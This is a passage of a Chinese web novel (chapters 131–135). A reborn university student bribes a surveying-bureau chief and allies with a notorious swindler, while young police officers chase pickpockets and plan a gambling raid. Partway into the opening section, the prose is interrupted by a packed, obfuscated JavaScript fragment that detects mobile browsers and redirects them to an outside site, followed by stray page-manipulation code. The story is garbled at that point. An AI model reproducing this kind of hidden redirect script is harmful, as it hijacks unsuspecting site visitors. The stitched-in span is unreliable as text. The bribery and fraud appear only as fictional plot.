问题是频率太离谱了——刚开始一天一次,后来一天两次,再后来一天四次。 最夸张的是昨天下午,两个小时就碰见了四个。 马辉这小子! 碰见一个就冲出去,碰见一个就冲出去。 他当师傅的,又不能不管,只好跟在后面跑——万一这小子出点什么事怎么办? 昨天下午那四个,他是真跑不动了。 追完第三个的时候,腿已经开始打颤,嗓子眼里像塞了团棉花,喘气都带着哨音。第四个从螺塘街东头窜出来的时候,他站在路边,两只手撑着膝盖,眼睁睁看着马辉冲出去,嘴巴张了张,喊了一声“小马”,那声音连他自己都没听见。 最后马辉抓完人回来,叫了所里的车,把四个**贼一股脑全装进去。田伟靠着墙根坐下,后背贴着冰凉的砖墙,脸色白得跟**似的。 马辉蹲在他面前,急得声音都变了:“师傅!师傅!” 灌水、掐人中,折腾了十几分钟,田伟才把胸口那口气喘匀。他靠在墙上,望着头顶灰蒙蒙的天,开口第一句话就是:“小马,师傅实在是追不动了。再追一次,师傅就得进ICU了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17475186|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >严所长听完田伟这番诉苦,看了他一眼,表情里带着几分恨铁不成钢。 “老田,你干了十几年,在基层不容易。碰到一个好徒弟,要抓紧。当师傅的怎么还撂挑子呢?” 小马是谁安排到螺塘派出所的?新上任的付局长。这种有背景的徒弟,你不抓住,还往外推?难怪一辈子上不去。 “所长,你不觉得奇怪吗?”田伟说,“以前咱们辖区虽然也有小偷小摸,但基本都发生在晚上。大白天冒出这么多,这很不正常啊。” 严所长拿起茶杯,不紧不慢地喝了一口:“所以才要上报总局,更加引起重视嘛。” 他放下茶杯,手指在桌面上点了点:“我判断,这很可能是一个有组织有预谋的小偷团伙,采取大规模、小案值的方式作案,来试探我们的警力。如果我们一疏忽,群众的财产安全就可能遭到重大威胁!” 田伟愣愣地看着他。 严所长心想:我能不知道事情不正常吗?付局长新上任,把马辉放到螺塘,然后突然冒出这么多小偷小摸,全在马辉眼皮子底下发生、全被他抓住——这种事情,只要脑子不瞎,就知道该怎么做了吧? 肯定是要向领导报告马辉取得的成绩,顺便也给所里捞点好处。 难道还要故意把领导的事挑明,显得你多能耐似的?这个老田,脑子怎么就是转不过弯来? 说实在的,要不是看在田伟的哥哥跟他是高中同学、田伟算是自己人的份上,他都想给马辉换个师傅了。 严所长一拍桌子。 “老田,这种时候你可不能撂挑子。”他语气硬了起来,“我打算跟领导请示一下,再给你们要几个人,成立一个反扒小组。你来当组长。” 田伟急了:“所长,反扒我也不在行啊。要不你换个人吧?” “就这么定了。”严所长站起来,“警务工作是让你讨价还价的吗?你现在给人家当师傅,就得做出表率。你自己跑不动了,就让小马多干些工作嘛。” 他绕过桌子,走到田伟面前,语重心长地说:“机不可失,失不再来。我话都说到这个份上了,你回去好好想想。” 第131章 付祥民的大案子 付祥民有个习惯——开会的时候翻材料。 各分局、派出所报上来的警情汇总,厚厚一沓,他就趁着别人汇报工作的间隙翻上几页。一来提高效率,二来也让脑子别只盯着一件事。 他办案这么多年,最忌讳的就是钻牛角尖。 很多案子单独看都不起眼,但串在一起,往往能扯出意想不到的线头。真正的好警察,就得能见微知著,从一丝不寻常里嗅出味道来。 此刻他坐在会议室主位,左手边是经侦支队支队长郭文明,正站着汇报工作。 “这次专项行动,重点打击非法经营和售卖假烟。截至目前,共检查烟酒店一百三十余家、棋牌室四十六家、游戏厅二十一家,以及其他娱乐场所三十余处。查获假冒品牌香烟共计七百六十余条,涉案金额初步估算超过四十万元……” 付祥民一边翻材料,一边听着。他偶尔插一句,问题问得散,但都打在点子上。 “烟酒店查出来的那些假烟,上线摸到没有?” “正在追。目前看,货都是从周边地市流进来的,本地没有发现中转仓。” “游戏厅那边呢?有没有发现跟物流线路有关联的线索?” “暂时没有。游戏厅查出来的量很小,基本都是零散售卖。” 付祥民点了点头,没再问了。 他心里清楚,整个专项行动,说起来是打击非法经营和售卖假烟,但其实根本就是个幌子。 他的目标根本不是假烟,而是走私烟。 要打的也不是那些小商小贩,而是背后那个庞大的走私集团。 按照李际全资料里透露的情况,这个走私集团的规模大到难以想象。如果全部破获,那将是建国以来最大的一起走私案。 大到什么程度?付祥民现在还说不上来。但仅仅从调查露出的冰山一角,他已经能感觉到——这是一个庞然大物。 面对这种巨兽,他必须像最有耐心的猎人一样,小心翼翼。稍有不慎,凭他一个市局副局长,根本挡不住这头巨兽的反扑。 当然,他头上还有政法委书记李际全,还有副市长孙红革。不然,打死他也不会来接这个副局长的位置。 付祥民太清楚了。这种走私团伙的危险程度,比什么抢劫团伙、连环杀手都要厉害得多。因为那些罪犯手里拿的是刀是枪,而这个团伙手里握着的,是权力。 走私能做到这个规模,背后的伞得有多大? 郭文明汇报完了,坐了下去。付祥民继续翻手里的材料,翻到下面一份时,手微微一顿。 螺塘派出所报上来的。 他扫了一眼标题——反扒工作阶段性汇报。 马辉的名字跳进眼里。付祥民皱了皱眉,把这份材料单独抽出来,快速看了一遍。 “近期辖区内连续破获多起盗窃案件……我所民警马辉在处置上述警情中表现突出……” 付祥民看完,眉头没有松开。 突然冒出一大堆小偷小摸?还全是被马辉撞上、被他抓住的? 这事放在平时,他一眼就过去了。案值太小了,小到连立案标准都够不上。 如果不是马辉是他安排下去的,螺塘派出所那边估计都不会往上汇报。 而马辉如果不是马喜林的儿子,他也不会多看一眼。尤其是现在,面对走私大案,压力像山一样压在肩上,他哪有闲心去管什么勾衣服、偷蜂窝煤的事? 可是马辉是马喜林的儿子。喜林当年是为了他这个师傅牺牲的。 开完会,回到办公室,付祥民又把螺塘派出所那份材料从头到尾仔仔细细看了一遍。看完,靠在椅背上想了片刻,提笔写了一个简短的批示。 接着他拿起电话,拨了政治处的号码。 “给我调两个警校来实习的中专生,要男的,手脚利索的。让他们去螺塘派出所报到。” 挂了电话,他又把螺塘派出所的采购申请单翻出来,扫了一眼上面的内容——申请采购台式电脑一台、打印机一台。 他拿起笔,在审批栏签了“同意”两个字。 签完把笔一搁,拿起桌上那份走私案的卷宗,重新翻开了。 螺塘街派出所。 严所长接到付祥民批示的时候,脸上笑开了花。他把那份批示翻来覆去看了两遍,往桌上一拍,立刻让内勤通知开会。 会议室里,全所的人到齐了。 严所长站在前面,声音比平时高了半个调。 “局领导的指示很明确。港岛回归在即,我们公安战线必须保证治安稳定、维护社会秩序,绝不能在这个节骨眼上出任何纰漏。螺塘所虽然小,但也肩负着责任。反扒工作就是当前的重中之重——局领导专门批了人、批了设备,这是对我们所的信任,也是对我们所的压力!” 他把批示的内容念了一遍,又强调了几句“政治任务”“责任到人”,最后宣布:螺塘派出所正式成立反扒小组,田伟任组长,马辉任副组长。局里马上补充两个市警校的中专生加入小组,让他们务必做好下一阶段的工作安排。 散会后,严所长把田伟和马辉单独叫进了办公室。 门一关,田伟的脸就垮了下来。 “所长,要不让马辉当组长吧,我给他打下手。我没必要跟年轻人争。” 他当警察没什么往上爬的理想,就是想平平安安熬到退休。怎么收了个徒弟,莫名其妙就开始反扒了?还成了组长?他都快四十了! 马辉站在旁边,一听这话就急了:“不行!师傅,我都是你带出来的,哪能忘恩负义?你不当,我也不当!” 田伟转头看着马辉,半天没说出话来—— 自己这是流年不利吗?怎么收了这么个倒霉徒弟? 严所长拍了桌子。 “田伟,你听听,你听听!小马都有这种觉悟,你这个当师傅的就不能起点带头作用?”他指着田伟,“这事儿就这么定了!” 他缓了口气,语气放软了些:“老田,我知道你的想法,不想跟年轻人争。但是你有经验,可以坐镇嘛。让年轻人去办事,你给他们提供指导、把握方向,不是很好吗?要学着转换工作思路了。” 他拿起茶杯喝了口水,放下杯子:“就这样定了。” 田伟张了张嘴,又闭上了。 “唉!” 第132章 测绘局的幺蛾子 星期一一大早,韩学涛正收拾书包准备去上英语课,辅导员突然跑到寝室门口喊:“韩学涛,卢主任找你们。你、楚强、周晓白,三个都别去上课了,赶紧去系里。” 韩学涛连忙叫上两人,一路小跑到了地质系办公楼。 卢主任的办公室门开着,他坐在桌后,钟磊拿着文件夹站在一旁。 “来了?”卢主任抬了抬头,“坐。老魏刚来电话了,一会儿我带你们去测绘局。” 钟磊冲韩学涛笑了笑:“小师弟,那边以后你们多跑跑,我在学校坐镇。” 韩学涛点点头,心里有些兴奋——总算等来了。 测绘局在城西,离宁海大学半小时公交。卢主任叫了系里的白色桑塔纳,不到二十分钟就到了。 魏局长已经站在台阶上等着,五十来岁,头发梳得整整齐齐,穿一件深灰色夹克。他笑着迎上来,握住卢主任的手摇了半天:“卢主任,可把你们盼来了。” 卢主任客气了几句,被请进办公室喝茶。 魏局长又派了个戴眼镜的年轻工作人员,领韩学涛三人四处转转,顺便介绍情况—— “我们局负责全省基础测绘、地形图更新、工程测量这些工作......” 工作人员推开一扇厚重的铁门:“资料库在这边。”里面是一间大库房,铁架上码满了图纸筒和档案盒,空气里混着陈旧的纸张味和铁锈味。“这是建国以来的全部测绘资料,最早能追溯到五十年代,苏援时期的图纸也在。” 韩学涛脸上不动声色,心里却翻腾起来——几十年的测绘资料,宁海市甚至全省地图的底层数据这就全到手了。这些要是让他自己弄,不知得花费多少功夫! 中午在测绘局食堂吃饭,魏局长边吃边和卢主任聊些业内旧事,气氛很融洽。 饭后卢主任就告辞回学校了,把他们三个留在测绘局干活。 目送车子拐出大门,韩学涛满心想着下午就撸起袖子加油干! 结果事情并不如他想的那样。 下午,魏局长让人给他们安排了一楼走廊尽头的小房间,三个人在里面坐了快半个小时,也没人过来。 韩学涛出去找上午那个工作人员,那人见他进来,放下报纸笑了笑:“小韩,有事?” “我们下一步怎么开展?魏局长有没有交代?” “你稍等一下,我去问问。”工作人员整了整衣领,出去了。 韩学涛回到小办公室,等了二十分钟,工作人员拎着一壶热水,端着一个托盘进来了,托盘上放着三个茶杯和一包新茶。 工作人员泡好茶,说:“魏局长那边在开会,你们先喝点茶,等等。”说完带上门走了。 三个人等了一个小时,又等了一个小时。光线从亮渐渐变暗,走廊里脚步声多了又少,一直都没有人进来。 小白看了看手表:“他们马上要下班了。” 楚强和韩学涛对视一眼。 三个人心里同时涌上一个念头——不对劲! 韩学涛站起来,“我去找魏局长。我倒要看看他们测绘局在搞什么名堂。” 魏局长的办公室在二楼最里面,门半敞着。韩学涛敲了两下,里面传来一声“进来”。 推门进去,魏局长一个人坐在办公桌后面,面前摊着几张报纸,茶杯冒着热气。他看见韩学涛,脸上立刻堆起了笑。 “小韩?来来来,坐。今天在这儿怎么样?还适应吧?” 韩学涛没坐,站在办公桌前,笑了笑:“挺好的,大家都挺热情,也挺支持。就是感觉工作状态不太饱和。” 魏局长哈哈笑了两声,不紧不慢地说:“你们刚来嘛,慢一点是好事。事缓则圆,干革命工作,心急吃不了热豆腐。” 韩学涛一听,知道这位局长话里有话:“魏局,我们年轻人可比不上您稳重。而且您不知道,我这身份摆在这儿,压力也大。” 魏局长端着茶杯的手停了一下,抬眼看他:“小韩,你的身份……还有点不简单?” “我是卢主任的关门弟子!”韩学涛说,“这趟活儿,比我年级高的同学,甚至研究生都没怎么插手,让我亲自来。我也不能辜负老师的信任。” 魏局长笑眯眯地看着他,点了点头,话锋一转:“那既然是这样,一会儿我让办公室小王买点儿附近的特产,桂花马蹄糕,你带去学校给你老师尝尝。别来一趟测绘局,还空手回去。” 听到这话,韩学涛瞬间明白了! 语义的重点在最后四个字上——空手回去。既然空手回去不好,那空手过来也不应该。 他笑着接话:“谢谢魏局长好意,我替老师说声谢谢。这次合作真是让测绘局破费了,听老师说,两个图形工作站花了一百多万?” 魏局长叹了口气,语气里带着点诉苦的味道:“都是向省里申请的经费。现在我们整个测绘行业的情况你们也清楚,大家是有心报国,无力杀敌。虽说省里花钱支持,但我们测绘局现在没有业务,上上下下这么一动,各种经费支出也不在少数。就这段时间,光相关的各种费用就花了不下总价值的百分之二。刚才我还跟卢主任诉苦,卢主任还安慰我来着。” 总价值的百分之二。按一百万算,就是两万块钱。 韩学涛心里一转,有了计较。他手伸进包里,夹住了一张银行卡——他有把钱分散存在不同卡里的习惯,这张卡还是在东林黑市买的那批之一。 他往魏局长身边走了两步,没多话,直接掏出卡,塞进了魏局长上衣口袋里。 魏局长一按口袋,声音拔高了半度:“唉,小韩,你这是干什么!” 韩学涛笑着往后退了半步:“魏局长,你可别批评我。要批评就去批评我老师。我老师是大专家,又上了年纪,可没有我这个小年轻身手快。” 魏局长伸出一根手指点着他,脸上表情复杂:“你呀……你呀……我算是服了你们师徒了。” 他站起来,绕过办公桌,走到韩学涛身边,伸手搂住他的肩膀,语气比刚才亲热了一大截。 “小韩,我说你两句。既然你老师这么看重你,那你可不能给你们老师掉面子。这段时间加把劲,争取早点把活干完,干漂亮!” 韩学涛点头:“魏局长说的是。” “还叫什么局长不局长的?”魏局长拍了拍他肩膀,“就我和你老师的关系,你叫我声魏叔,别人能说啥?” 韩学涛一笑:“魏叔,你支持我,我就心定了。” 魏局长哈哈笑了两声:“这项目是我和你老师一起推动的,我当然支持你。去吧去吧,今天先回学校。明天早点来——” 他转身冲着门外喊了一嗓子:“小王!带宁海大学的小韩他们,去路口买十盒桂花糕带回去!” 第133章 钱到位,就不同 韩学涛走出魏局长办公室,下了楼,心里把刚才的事过了一遍。 做事就不能斤斤计较。钱能解决的问题,就都不是问题。要是计较这钱是自己出、还是学校出、或者卢主任出,最后自己什么好处也捞不着,问题照样卡在那里动弹不得。 该出手时就出手,花出去的钱,迟早会从别的地方长回来。 第二天一早,三个人再到测绘局,一切都不一样了。 原先那间十平米、窗户外面堵着一面墙的小房间不见了。小王直接把他们领到二楼朝南的一间大办公室,阳光从窗户照进来,照得满屋子亮堂堂的。 门口墙上新钉了一块牌子,白底红字——“地图数字化专项工作室”。 办公桌换成了三张大号的,每人一把带扶手的皮椅,桌上摆着全新的搪瓷茶杯,杯子里已经泡好了茶。角落里立着一台饮水机,旁边矮柜上放着茶叶和一次性纸杯。 小王从文件夹里抽出一张纸递过来:“韩工,这是魏局长交代的,局里想优先数字化的地图列表,您看看。” 韩工。韩学涛注意到称呼变了。 他接过那张纸扫了一眼,上面列着几十张图,编号、名称、比例尺、优先等级,写得清清楚楚。他把纸收进包里,点了点头。 小王又从抽屉里拿出三张饭卡,一人发了一张。 “魏局长说了,中午在食堂随便吃,不用客气。” 待遇这东西,就怕比。 小白摸着那张饭卡,翻来覆去看了两遍,一脸感慨:“测绘局还不错啊。同样是搞地质的,为什么我家就那么苦?” 楚强在旁边问了一句:“你家是干嘛的?” “我爸做矿产勘查的。” 楚强拍了拍他肩膀,面无表情地说:“明白。以后别走你爸的老路就行了。” 韩学涛听得一笑。 以前他对地质这行不太熟,在地质系待了一个多学期,也慢慢摸清了门道。 矿产勘查这活儿,哪怕是一把手,也苦得要命。不仅要盯找矿进度,更要背负整个队伍的命。钻机施工、炸药管理、高空作业,任何一个临时工摔伤或者违规操作,项目经理就是第一责任人。那种精神上的紧绷,远超肉体的疲劳。很多地质队长不到四十岁就满头白发。 这还不算完。在深山野岭搞地质,地方关系极其复杂。项目经理要应付周边村民的阻挠,协调修路占地,平衡地方部门的关系。你手里可能攥着上千万的项目经费,但在老乡面前,可能为了拉一车水、通一次电,不得不陪着笑脸喝到胃出血。 可即便如此,很多人还是愿意待在野外,不愿意回去坐办公室。 道理也简单。一个副总工留在局里,拿的是干巴巴的岗位工资。一旦下地质队带项目,每天的伙食补助、地区津贴、特种作业补助加起来,往往能超过基本工资的好几倍。对于有养家压力的人来说,“回办公室”意味着家庭收入瞬间腰斩。 而且地质科研经费是跟着项目走的。在山上是项目的“灵魂人物”,不仅有采样、化验、甚至雇佣临时工和租赁车辆的签字权,还能通过科研课题申请额外的专项款。一旦回到局里坐办公室,就不再是那个掌握“批钱权”的一线指挥官,而是成了排队报销的普通职员,话语权大幅缩水。 难怪小白这细皮嫩肉的对来地质系这么抵触,因为他爸的例子在先。 “你爸不容易。”韩学涛说。 三个人在测绘局吃得好喝得好,活儿也干得顺。系里还给项目补助,每天出来算一百块钱,一个月按二十天算就是两千块。等这个项目完成,每个人还能拿到一笔奖金。 楚强私下算过,估计能拿一万,这样一来,家里的债务又能缩小一小截。 韩学涛还有图书馆那边的收入——帮冯老师搞教材编撰,晚上回去干几个小时,又是一笔进账。 他现在每天的节奏很固定:早上来测绘局,一直干到下午下班,回学校吃晚饭,晚上再去图书馆给冯老师干活。一天排得满满当当,每一分钟都没白费。 螺塘街派出所,两个警校的中专生到了。 一个叫余兵,一个叫刘小勇。刚从学校出来,眼睛带着光——看什么都像案子,走哪儿都觉得有贼。 反扒小组正式成立,四个人,田伟当组长,马辉当副组长,余兵和刘小勇组员。 第一次列队巡逻,马辉走在最前面,目光从左扫到右,再从右扫到左,余兵和刘小勇跟在他身后,腰上别着手铐,精神抖擞。 结果走了两天,一个毛贼都没看见。别说偷东西的,连个鬼鬼祟祟的影子都没有。 三人大失所望! 第三天中午,田伟请三个年轻人吃馄饨。 田伟端起碗喝了一口汤,脸色比前几天好了不少,眉头也松开了。他往椅背上一靠,长出一口气,像卸了副重担子。 对他来说,平平安安最好。家里有老娘,有老婆,还有一个十岁的女儿。他就是这个家的顶梁柱,要是自己身体垮了或者人没了,家里怎么办?老婆改嫁便宜别人,女儿过去跟着后爸受苦,老娘没人照顾——每次想到这儿,田伟都能吓一哆嗦。 现在没贼了,好。没贼比什么都好。 马辉坐在他对面,筷子夹起一个馄饨又放下,嘴里唉声叹气:“师傅,你说前几天那么多贼,怎么小组一成立就都没了呢?” 余兵跟着点头,把筷子往碗上一搁:“就是啊。我跟小勇过来,就准备大展拳脚狠狠打击犯罪分子的,结果——” 刘小勇接上:“结果大失所望。” 余兵又说:“就这么几条街,两片摊子,几个看门的老头,要得着我们这么多人么?”他往前凑了凑,压低声音,“要不我们去酒吧抓嗑药的吧,那肯定比抓小偷刺激。” 刘小勇眼睛一亮:“这个想法好!” 马辉捏着下巴,若有所思。 田伟听到这几个字,气得脑仁生疼。他把碗往桌上一顿,脸拉了下来。 “都给我安分一点!别个个唯恐天下不乱。没有贼,就好好在街面上维护治安,帮群众办事!” 他扫了三个年轻人一眼,缓了口气,但语气还是很硬:“我们在街面上抓这些小贼,都是社会人员。抓了,矿务局棉一厂还得感谢我们一声。去酒吧抓嗑药的——那些很多都是厂矿子弟,抓到了你也不能处理,还得交给他们单位。到时候闹出什么纠纷来,所长面子上都不好看。你们三个,赶紧给我老实一点!” 三个人都不吭声了。 余兵低头吃馄饨,刘小勇盯着碗里的紫菜发呆,马辉把那个夹起来的馄饨塞进嘴里,嚼了两下,没尝出味道。 三个人同时叹了口气。 第134章 前世贵人 中午,韩学涛刚在测绘局食堂吃完午饭,包里的爱立信就响了。 包达打来的:“老大,刘骏回来了。” “半小时后路口见。” 韩学涛挂了电话,跟楚强和小白说了一声,出了测绘局大门。往东走了一个路口,那辆红色夏利已经停在树下。 他拉开车门坐进后座。 刘骏从前排转过身来,脸上带着笑:“师傅!” 上次见面还是在东林,到现在快一年了。刘骏头发剪短了,人显得精神不少。 “师傅,我现在技术有点提高,”刘骏搓了搓手,“回头我给你露一手。” 韩学涛知道他的心思,说:“放心吧,回头我再教你点新的。” 刘骏眼睛一亮,脸上的笑纹更深了。 “这次还有什么吩咐?”他问。 “螺塘街派出所的事。”韩学涛说,“回头让包达给你细说。”他看了刘骏一眼,“你这次一定要回来见我,还有别的事吧。” 刘骏笑了两声:“瞒不过师傅。其实这次回来,是想介绍一个人给师傅认识。” 韩学涛眉头立刻皱了起来:“我的信息,谁让你跟别人说的?” 刘骏被这突如其来的语气吓了一跳,连忙摆手:“师傅,我没漏你的信息!只是说我认识一个朋友,关键的信息我一个字都没透。” “别以为人家都是傻子。”韩学涛盯着他,“你说认识一个朋友,他就来见我?一定是你给他透露的信息里,让他觉得他有他需要的利益。” 刘骏急了,往前探了探身子:“师傅,我真没跟他透底。主要是他想做的项目,跟我们在东林做的那笔很相像,他现在需要合伙人。我跟他接触一段时间,觉得他还挺可靠的,所以……” “说说他的情况。”韩学涛打断他。 刘骏松了口气,往后靠了靠,组织了一下语言。 “这人是在浙省那边认识的。我在那边一个地下赌场当技术顾问,他常来。不是每次都赢,但基本上来十次能赢个六七次,稳稳地从我的场子里套钱。我就起了疑心,怀疑他出千。观察了好几天,抓不到把柄。” 韩学涛没说话,听着。 “后来老板和我一合计,干脆把人扣下了,逼问他是怎么回事。”刘骏说到这儿,笑了一下,“结果这人一点都不慌,说——我没有出千,是你们赌场出千。你们赌场杀肥猪的手法被我识破了,我跟着赚点钱,你们还有脸扣我?” 韩学涛嘴角动了一下。 刘骏继续说:“我当时大吃一惊,细细一问——这家伙真把我们赌场出千的手法说了个七七八八。虽然不是全部,但也足够他赢钱了。赌场那边不好意思扣人家了,反而赔了一笔钱,把他送走。” “这人很知进退。”刘骏语气里带着佩服,“从此以后来赌场也不赌了,就是找我吃饭喝酒,一来二去成了朋友。他佩服我的赌术,我佩服他那些江湖经验和窍门。他说想跟我合伙干一票的时候,我就动心了。” 韩学涛听完,沉默了两秒:“叫什么?” “不知道真名。”刘骏说,“外号叫老洪。” 韩学涛一怔。 随即心里翻江倒海。 老洪。 上一世,这是他的贵人之一。原本也是刘骏带来介绍给他的,没想到重来一次,还是刘骏把老洪带到面前。 老洪是谁?江湖上有个顺口溜——“夜莺老洪一条龙,白板发财碰红中”。这里头的“老洪”,说的就是他。 这家伙是个有名的白相。说白了就是——骗子。 国内最早的彩票欺诈,就是他搞出来的。后来气功热,他摇身一变成了气功大师,神神叨叨,骗了不少人,连老干部都有人信他。气功热退潮之后,他又变了,成了高级技术专家,弄了个假项目,骗了二十几家国企。 就是这样一个大骗子,却是韩学涛的贵人。 上一世,他能从国内去到南美,多亏了老洪。后来这家伙在国内待不下去,跑到南美投靠他,都已经七十多岁了,还帮他设局,搞掉了两个墨西哥黑帮。 没想到重生回来,又见到老洪了。 韩学涛靠在座椅上,沉默了好一会儿。 刘骏看着他,不敢出声。 “他人在哪儿?”韩学涛问。 “在宁海。等着见您。”刘骏小心翼翼地说,“师傅,要不……见一面?” 韩学涛没接话,手指在膝盖上轻轻敲了两下,停了。 “什么时候?”他问。 “随时。” 韩学涛看了刘骏一眼,目光里带着一种说不清道不明的东西。像是感慨,又像是在算一笔很远的账。 “那就明天。”他说。 ... 第二天,茶馆。 宁海老城区一条巷子里,门脸不大,竹帘子半垂着,隔开外面的日光。 韩学涛选了个靠里的位子坐下,要了一壶龙井,慢慢喝着。 等了不到一盏茶的功夫,门口进来一个人。 五十刚刚出头,头发还黑着,梳得整整齐齐,穿深灰色夹克,手腕上挂着一串珠子。整个人看起来比韩学涛印象中年轻不少。 老洪站在门口扫了一眼,目光落在韩学涛身上,明显愣了一下。 他走过来,在对面坐下,上下打量了两眼,目光里的意外藏都藏不住。 他本以为刘骏推崇备至的人物,就算不到自己这个年纪,也差不了几岁。毕竟混江湖这种事,没有个十年八年的沉浸,很难有那种心态和阅历去做什么大事情。 眼前这位,有二十吗? 老洪很快把表情收了回去,笑呵呵地拎起茶壶,先给韩学涛倒了一杯,又给自己倒上。 “小兄弟今年多大了?”他端起杯子,笑眯眯地问。 “读大一,虚岁二十。” 老洪端杯子的手微微一顿。 二十。他在心里把这个数字翻来覆去过了两遍,嘴上没说什么,脸上的笑还挂着,但笑意浅了一层。 “在哪个大学?” “宁海大学。” “还是重点大学,”老洪点了点头,“不错不错。” 完了。这趟活儿没戏了—— 千军万马挤独木桥,能考上宁海大学的,平时时间肯定都花在学习和刷题上了。没听说过高中的时候跑江湖,临近高考去参加一下就能上清华北大的。刘骏这小子,平时说话挺靠谱,怎么给我介绍了个毛孩子? 老洪端起茶杯又喝了一口:“小兄弟,你认识刘骏?” 韩学涛靠在椅背上,把茶杯在指间转了一圈:“他那两手不入流的赌术,都是我教的。” 老洪手里的杯子差点没端稳。 “啥?” 韩学涛没接他的话。他把手里的茶杯放到桌上,又拿起桌上另外几个空杯子,一个一个摆开,像摆棋子。 “夜莺老洪一条龙,白板发财碰红中。”他手指点着第一个杯子,“最早在上饶搞彩票,两万中二十八万大奖,是你吧?” 老洪脸上的笑僵住了。 韩学涛手指移到第二个杯子上:“天体功洪大师——也是你吧?” 第三个。 “后来摇身一变,成了技术专家,骗了二十几家国企的合作资金。”韩学涛抬起头,看着老洪的眼睛,笑了一下,“怎么?钱又花完了?” 老洪一下子站了起来。 椅子往后一退,在地上刮出刺耳的响。他脸上的表情像是被人当众扒了衣服——震惊、忌惮、还有一丝说不清道不明的心虚。他盯着韩学涛,目光里再也没有刚才那种长辈看晚辈的随意,取而代之的是警惕和审视。 “你到底是谁?” 韩学涛摆了摆手,示意他坐下。 “没打算去告你,放心吧。”他语气很淡,“我说这些,就是为了跟你合作。” 老洪站着看了他好几秒,才慢慢坐回去,但身体明显绷着,不像刚才那样靠在椅背上了。 “至于我的身份,也很简单。”韩学涛说,“东林一中毕业,考上宁海大学,现在在地质系读大一。可能跟你预计的有点落差,不过这不代表我们不能合作。” 第135章 抓赌 跟老洪谈完,韩学涛从茶馆出来,心里定了一大截。 亚洲金融危机眼瞅着就要来了,他一直想利用这个机会赚一笔,算是把真正的第一桶金给落定。但这年头在国内想做国外金融市场,实在相当麻烦。 通过许秋认识的那个戴维,聊了几次之后发现这人并不是很好的合作对象——夸夸其谈,不切实际。 不管做什么事情,人永远都是最重要的。 就在韩学涛有点犯愁的时候,老洪来了。没有比这老家伙更适合的人选。 而此时一门心思想在亚洲金融危机里搞钱的韩学涛还没有意识到,老洪的及时到来有多重要——这等于让他在关键时刻,手上多出了一张王牌。 反扒小组成立之后,田伟就不天天跟着执勤了。 主要的巡逻任务都交给了马辉他们三个,这让田伟切切实实感受到了当组长的好处。手底下有人干活,家里那些搬搬抬抬的杂事都能让这三个小子帮忙,他算是尝到了一点当领导的甜头。 行吧,不枉自己跟着跑了一个星期。 而看着马辉他们三个在街面上到处想抓贼又找不到,田伟就更加开心了——无事一身轻,乐趣加倍。 这天下午,马辉带着余兵和刘小勇照例在螺塘街上巡逻。 走到巷口的时候,一个人迎面走过来。戴着口罩,帽子压得很低,看不清脸。马辉看了他一眼,没太在意。 而两个人错身的时候,那人突然往马辉手里塞了个东西,脚步没停,快步往前走了。 马辉低头一看,是个纸条,折了两折。他愣了一瞬,抬头再看,那人已经拐进街角,消失在人群里。追都来不及。 他打开纸条。上面写着一个地址——下桥路三品巷,门牌号写得清清楚楚。旁边标注了一个时间:晚上八点。 最下面两个字:聚赌。 马辉眼睛顿时亮了。 余兵和刘小勇凑过来,脑袋挤在一起看完了纸条上的字。余兵第一个开口,声音带着兴奋:“马哥,去不去?” 刘小勇跟着说:“这可是抓赌,比反扒来钱多了。” 马辉捏着纸条,犹豫了一下:“这地址严格说不在我们辖区,应该归旁边的五塘路派出所管。” 余兵立刻说:“那要是跟他们派出所说了,这事就轮不着我们了。” 刘小勇犹豫道:“我们是反扒小组,到别人地盘上抓赌,是不是有点越界?” 马辉想了想:“要不要请示一下师傅?” 余兵和刘小勇同时摇头,动作整齐得像排练过。 “跟田哥一说,这事儿准跑了!”余兵说。 马辉想到这两天在街面上晃来晃去、连个贼毛都没见着的憋屈,咬了咬牙。 “那行。这事儿我们干了再说。”他把纸条折起来揣进兜里,“晚上就说临时接到群众举报,我们恰巧巡逻到附近,怕夜长梦多才不得不动手的。” 余兵和刘小勇同时伸出大拇指,脸上全是笑。 “马哥,还是跟你干来劲!” 三个臭皮匠,赛过诸葛亮。马辉带着余兵和刘小勇合计了一天,定出一个抓捕方案。 不能等到晚上直接冲过去——路不熟,人家说不定还有暗哨。白天他们换了便装,先过去踩了点。 位置是一个废品收购站,在棉一厂库房后面,位置很偏。 一条窄巷子通进去,两边是旧砖墙,巷口有个修鞋摊,再往里走几十米,就是收购站的铁皮门。白天大门关着,只有一个小侧门开着,偶尔有人进出。 刘小勇眼尖,发现那个修鞋摊中午过后就收摊了,下午没人。他提了个主意:“我伪装成修鞋的,蹲在这个位置。正好能盯住收购站门口,什么人进去、几点进去,我全记下来。” 马辉觉得靠谱。余兵在旁边转了一圈,又发现了点东西——巷子两头都通,但东头出去是大路,西头拐弯是死胡同。也就是说,人只要从东边进来,堵住巷口就跑不掉。 三个人把路线摸清楚了,连墙头多高、侧门朝哪边开都量了一遍。 到了晚上,马辉和余兵七点就到了,比纸条上写的时间提前一个小时。马辉守在巷子东头,余兵在巷子西边的拐角处,两个人一东一西,把这条巷子盯死了。 刘小勇在修鞋摊上坐着,围裙一系,锤子钉子摆了一排,像个真修鞋的。他一边拿个破鞋底有一搭没一搭地敲,一边盯着收购站的门。 晚上九点。估摸着里面的人赌了差不多一个小时了。 马辉从巷子东头往里走,余兵从西边绕过来,三个人在收购站侧门外碰头。刘小勇已经把修鞋摊收了,围裙一扯,从工具筐底下抽出叠好的警服,三下两下套上。马辉和余兵也动作利索,不到半分钟,三个修鞋的、闲逛的,全变成了穿制服的警察。 刘小勇用修鞋的工具直接撬开侧门,三个人鱼贯而入。 院子里堆着废纸板、旧铁皮、塑料瓶子,一股潮湿的霉味。正对面一间屋子亮着灯,窗户用报纸糊住了,看不清里面,但能听见嗡嗡嗡的说话声。 一个十来岁的小丫头蹲在院子角落里,手里拿着个塑料换装娃娃,看见突然冲进来三个穿制服的,整个人吓懵了,嘴巴一张就要喊。 